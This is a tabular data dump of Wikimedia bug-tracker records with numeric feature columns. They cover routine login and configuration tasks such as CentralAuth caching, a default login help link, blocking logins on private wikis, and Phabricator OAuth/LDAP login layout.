Set Squid maxage so proxies will cache

GERRIT_URL"
239798,CentralAuth not caching Special:CentralAutoLogin/start,"Change 85036 had a related patch set uploaded by CSteipp:
Set Squid maxage so proxies will cache

https://gerrit.wikimedia.org/r/85036",,,1379618889,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-93,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.428571428571429,1.0,"Change 85036 had a related patch set uploaded by CSteipp:
Set Squid maxage so proxies will cache

GERRIT_URL"
55888,Link to existing login help page by default from helplogin-url,"helplogin-url is shown in a very prominent place by default and it should point to an existing page to avoid confusing users with links to nonexisting pages, similarly to bug 53862.

We have [[mw:Help:Logging in]], which given the author I assume ok and that can be made translatable when we are comfortable about the quality of its content (it had some ""manual"" translations on Meta). Linking it will help improve it, but it's already better than the default red link.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement",Medium,50.0,1378539120,1395245833.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-addxd43f7bv3gv4au2ws,task_description,resolved,True,c3,1,True,False,True,-95,True,1.0,0.0,0.5,1.0,0.0,4.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,2.0,0.5,2.5,7.5,0.0,1.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.5,1.0,0.0,3.0,1.0,4.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,8.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,5.5,1.0,2.0,5.0,0.0,0.0,0.0,0.0,3.5,0.5,1.5,0.0,6.5,7.5,1.5,0.0,1.5,0.0,6.5,0.0,1.5,1.0,0.0,3.0,1.0,0.0,1.5,3.8583333333333334,0.8,"helplogin-url is shown in a very prominent place by default and it should point to an existing page to avoid confusing users with links to nonexisting pages, similarly to bug 53862.

We have [[mw:Help:Logging in]], which given the author I assume ok and that can be made translatable when we are comfortable about the quality of its content (it had some ""manual"" translations on Meta). Linking it will help improve it, but it's already better than the default red link.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement"
245541,Link to existing login help page by default from helplogin-url,"Change 119489 merged by jenkins-bot:
Link to existing login help page by default from helplogin-url

https://gerrit.wikimedia.org/r/119489",,,1395245317,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,False,,,-68,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.260869565217392,0.9130434782608695,"Change 119489 merged by jenkins-bot:
Link to existing login help page by default from helplogin-url

GERRIT_URL"
245534,Link to existing login help page by default from helplogin-url,"Change 119489 had a related patch set uploaded by Nemo bis:
Link to existing login help page by default from helplogin-url

https://gerrit.wikimedia.org/r/119489",,,1395242959,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,False,,,-68,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,37.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,15.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.2592592592592595,0.9629629629629629,"Change 119489 had a related patch set uploaded by Nemo bis:
Link to existing login help page by default from helplogin-url

GERRIT_URL"
245527,Link to existing login help page by default from helplogin-url,"Thanks MatmaRex and thanks everyone for comments, code review and rebase/unit test help.
The change was also notified on
* mediawiki-l (but mailman not helping): http://lists.wikimedia.org/pipermail/mediawiki-l/2014-March/042664.html
* design: http://lists.wikimedia.org/pipermail/design/2014-March/001694.html",,,1395226239,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,True,,,-68,True,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,34.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,12.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.7560975609756095,0.8780487804878049,"Thanks MatmaRex and thanks everyone for comments, code review and rebase/unit test help.
The change was also notified on
* mediawiki-l (but mailman not helping): URL
* design: URL"
245522,Link to existing login help page by default from helplogin-url,"Change 83220 merged by jenkins-bot:
Link to existing login help page by default from helplogin-url

https://gerrit.wikimedia.org/r/83220",,,1395226102,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,False,,,-68,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.217391304347826,0.9130434782608695,"Change 83220 merged by jenkins-bot:
Link to existing login help page by default from helplogin-url

GERRIT_URL"
245515,Link to existing login help page by default from helplogin-url,[Bumping TM as MediaWiki 1.22.0 tarball was released today.],,,1386383880,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,True,,,-82,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,4.333333333333333,1.0,[Bumping TM as MediaWiki 1.22.0 tarball was released today.]
245508,Link to existing login help page by default from helplogin-url,"(In reply to comment #5)
> By the way, we should agree on a common style for these external links (if we
> don't have it already). I believe they should have the arrow of external link
> and open in a new page.

Yes, that's worth a separate bug to standardise old and new ones; add it as a blocker of bug 43591 please. We'll also need a standard icon for the cases where a simple link with label is not possible/appropriate (probably something as the Translate extension does), one more reason to file the bug.",,,1378761544,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,True,,,-95,True,0.0,1.0,0.0,0.0,1.0,11.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,11.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,9.0,1.0,9.0,1.0,1.0,10.0,0.0,0.0,0.0,1.0,6.0,1.0,4.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,1.0,5.0,0.0,0.0,1.0,0.0,0.0,3.6202531645569622,0.7721518987341772,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE

Yes, that's worth a separate bug to standardise old and new ones; add it as a blocker of bug 43591 please. We'll also need a standard icon for the cases where a simple link with label is not possible/appropriate (probably something as the Translate extension does), one more reason to file the bug."
245500,Link to existing login help page by default from helplogin-url,"By the way, we should agree on a common style for these external links (if we don't have it already). I believe they should have the arrow of external link and open in a new page.",,,1378760730,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,True,,,-95,True,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,5.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,5.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,12.0,14.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.8333333333333334,"By the way, we should agree on a common style for these external links (if we don't have it already). I believe they should have the arrow of external link and open in a new page."
245493,Link to existing login help page by default from helplogin-url,"Good idea. The wiki page needs improvement, thinking that users from other wikis will land there for basic help. Currently for those users the wiki page will look like a wall of text.",,,1378759772,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,True,,,-95,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,22.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.081081081081081,0.8108108108108109,"Good idea. The wiki page needs improvement, thinking that users from other wikis will land there for basic help. Currently for those users the wiki page will look like a wall of text."
245486,Link to existing login help page by default from helplogin-url,"(In reply to comment #2)
> Sorry but... where helplogin-url linked from in a fresh MediaWiki install?
> Can't find it.

You can find this sort of information in /qqq: https://translatewiki.net/wiki/MediaWiki:Helplogin-url/qqq
It's in Special:UserLogin.",,,1378758993,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,True,,,-95,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,6.0,16.0,9.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,0.84375,"(In reply to comment #2)
QUOTE
QUOTE

You can find this sort of information in /qqq: URL
It's in Special:UserLogin."
245479,Link to existing login help page by default from helplogin-url,Sorry but... where helplogin-url linked from in a fresh MediaWiki install? Can't find it.,,,1378758469,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,True,,,-95,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,15.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,10.0,5.0,5.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,Sorry but... where helplogin-url linked from in a fresh MediaWiki install? Can't find it.
245472,Link to existing login help page by default from helplogin-url,"Change 83220 had a related patch set uploaded by Nemo bis:
Link to existing login help page by default from helplogin-url

https://gerrit.wikimedia.org/r/83220",,,1378539762,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c3,1,False,,,-95,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,37.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,15.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.222222222222222,0.9629629629629629,"Change 83220 had a related patch set uploaded by Nemo bis:
Link to existing login help page by default from helplogin-url

GERRIT_URL"
55871,Set wgBlockDisablesLogin to true for ALL Wikimedia private wikis,"**Author:** `Thehelpfulonewiki`

**Description:**
In bug 23231 a number of private wikis had wgBlockDisablesLogin set as true. Since then we've had some more private wikis created (such as IEGCom Wiki, Transition Team wiki etc). Instead of requesting this setting to be set on a individual wiki basis, can we just set it to be true for all private wikis?  i.e. Add

'private' => 'true',

to 'wgBlockDisablesLogin' => array(

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Medium,50.0,1378506360,1378929495.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-saw7lgv4z3na6rmubb3b,task_description,resolved,True,c3,1,False,False,True,-95,True,1.5,0.0,0.0,0.5,0.0,7.0,1.0,0.0,0.0,0.0,3.0,5.5,0.0,0.0,0.0,1.5,0.5,2.5,6.5,0.0,2.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,0.5,0.0,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,7.5,0.5,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,2.0,6.5,4.5,1.0,5.0,0.0,2.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,3.0,3.5677966101694913,0.6949152542372881,"**Author:** CODE

**Description:**
In bug 23231 a number of private wikis had wgBlockDisablesLogin set as true. Since then we've had some more private wikis created (such as IEGCom Wiki, Transition Team wiki etc). Instead of requesting this setting to be set on a individual wiki basis, can we just set it to be true for all private wikis?  i.e. Add

'private' => 'true',

to 'wgBlockDisablesLogin' => array(

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
244321,Set wgBlockDisablesLogin to true for ALL Wikimedia private wikis,"Change 83375 merged by jenkins-bot:
Sets wgBlockDisablesLogin true on private wikis.

https://gerrit.wikimedia.org/r/83375",,,1378925820,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-saw7lgv4z3na6rmubb3b,task_subcomment,,True,c3,1,False,,,-95,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.833333333333333,1.0,"Change 83375 merged by jenkins-bot:
Sets wgBlockDisablesLogin true on private wikis.

GERRIT_URL"
244316,Set wgBlockDisablesLogin to true for ALL Wikimedia private wikis,"Change 83375 had a related patch set uploaded by Dereckson:
Sets wgBlockDisablesLogin true on private wikis.

https://gerrit.wikimedia.org/r/83375",,,1378679084,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-saw7lgv4z3na6rmubb3b,task_subcomment,,True,c3,1,False,,,-95,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0476190476190474,1.0,"Change 83375 had a related patch set uploaded by Dereckson:
Sets wgBlockDisablesLogin true on private wikis.

GERRIT_URL"
244310,Set wgBlockDisablesLogin to true for ALL Wikimedia private wikis,"For reference:

[ Already enabled on ]

arbcom_dewiki
arbcom_nlwiki
auditcomwiki
boardwiki
chairwiki
checkuserwiki
collabwiki
chapcomwiki
execwiki
fdcwiki
internalwiki
noboard_chapterswikimedia
officewiki
ombudsmenwiki
otrs_wikiwiki
stewardwiki
wikimaniateamwiki

[ This configuration will affect the following wikis ]

arbcom_enwiki
arbcom_fiwiki
boardgovcomwiki
grantswiki
iegcomwiki
ilwikimedia
movementroleswiki
searchcomwiki
spcomwiki
transitionteamwiki
wg_enwiki",,,1378656062,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-saw7lgv4z3na6rmubb3b,task_subcomment,,True,c3,1,False,,,-95,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.066666666666666,0.6,"For reference:

[ Already enabled on ]

arbcom_dewiki
arbcom_nlwiki
auditcomwiki
boardwiki
chairwiki
checkuserwiki
collabwiki
chapcomwiki
execwiki
fdcwiki
internalwiki
noboard_chapterswikimedia
officewiki
ombudsmenwiki
otrs_wikiwiki
stewardwiki
wikimaniateamwiki

[ This configuration will affect the following wikis ]

arbcom_enwiki
arbcom_fiwiki
boardgovcomwiki
grantswiki
iegcomwiki
ilwikimedia
movementroleswiki
searchcomwiki
spcomwiki
transitionteamwiki
wg_enwiki"
1279,Fix non-CentralAuth https preference handling,"Bugzilla bugs 71716, 61048, or maybe all of the larger issues unaddressed from https://www.mediawiki.org/wiki/Requests_for_comment/Login_security",Medium,50.0,1415993858,1418075440.0,PHID-USER-doeppszazlm3r7xah4il,False,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-TASK-bxb74zmehnnjb5k5ydzj,task_description,resolved,True,c3,1,True,False,True,-33,True,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.3125,0.9375,"Bugzilla bugs 71716, 61048, or maybe all of the larger issues unaddressed from URL"
5638,Fix non-CentralAuth https preference handling,And bug 70145,,,1416001997,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-bxb74zmehnnjb5k5ydzj,task_subcomment,,True,c3,1,True,,,-33,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,And bug 70145
963,Make the phabricator OAuth login UI more prominent,"Wikimedia Phabricator allows users to log in using Wikimedia SUL (MediaWiki OAuth plugin, good for 99,9% of Wikimedia users) and Wikitech/Labs/Gerrit (LDAP login, good for 0.1% of Wikimedia users, and a good backup just in case OAuth is down).

By default, Phabricator will feature a full-fledged LDAP form first, adding the MediaWiki button underneath. This is confusing users, who enter their Wikimedia credentials in the LDAP form. They have no clue what LDAP is, and they simply see the familiar shape of a login form.

This problem would be solved if we find a way to hide that form behind a text link. Such link doesn't even need to be prominent, it can be placed in the text description (preferred) or be just a floating text label. This would give to the MediaWiki button the prominence it requires, even hesitant users would click it due to the lack of apparent choices, and most of the login problems would be gone.

@mmodell, whenever you have time, could you post an initial assessment of the realistic options here, please? I'm happy to submit requests upstream if needed, although I'm not sure what would be upstreameable  here. Having LDAP login behind a button is a possibility too, if this would be indeed something that upstream would be happier to integrate.",Medium,50.0,1414569887,1513990106.0,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-USER-fn7qnpccfbitivgtw2rt,False,PHID-TASK-cava27aj2n4a5vly6aui,task_description,resolved,True,c3,1,True,False,False,-36,True,0.0,0.3333333333333333,0.0,1.0,0.6666666666666666,6.333333333333333,1.6666666666666667,0.0,0.3333333333333333,1.0,1.3333333333333333,1.0,0.0,0.0,0.0,1.0,0.0,6.333333333333333,9.666666666666666,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,3.0,0.0,5.0,0.6666666666666666,1.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,1.0,0.0,1.3333333333333333,0.0,1.0,0.0,0.0,0.0,13.333333333333334,1.0,1.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,6.333333333333333,4.333333333333333,10.666666666666666,2.0,1.6666666666666667,8.333333333333334,0.0,0.0,0.0,0.0,6.333333333333333,0.3333333333333333,0.6666666666666666,0.0,4.0,9.666666666666666,6.666666666666667,0.3333333333333333,0.0,0.0,4.0,0.0,1.6666666666666667,3.0,0.0,1.6666666666666667,0.6666666666666666,0.3333333333333333,0.0,4.053770463253222,0.6730668756530825,"Wikimedia Phabricator allows users to log in using Wikimedia SUL (MediaWiki OAuth plugin, good for 99,9% of Wikimedia users) and Wikitech/Labs/Gerrit (LDAP login, good for 0.1% of Wikimedia users, and a good backup just in case OAuth is down).

By default, Phabricator will feature a full-fledged LDAP form first, adding the MediaWiki button underneath. This is confusing users, who enter their Wikimedia credentials in the LDAP form. They have no clue what LDAP is, and they simply see the familiar shape of a login form.

This problem would be solved if we find a way to hide that form behind a text link. Such link doesn't even need to be prominent, it can be placed in the text description (preferred) or be just a floating text label. This would give to the MediaWiki button the prominence it requires, even hesitant users would click it due to the lack of apparent choices, and most of the login problems would be gone.
SCREEN_NAME, whenever you have time, could you post an initial assessment of the realistic options here, please? I'm happy to submit requests upstream if needed, although I'm not sure what would be upstreameable  here. Having LDAP login behind a button is a possibility too, if this would be indeed something that upstream would be happier to integrate."
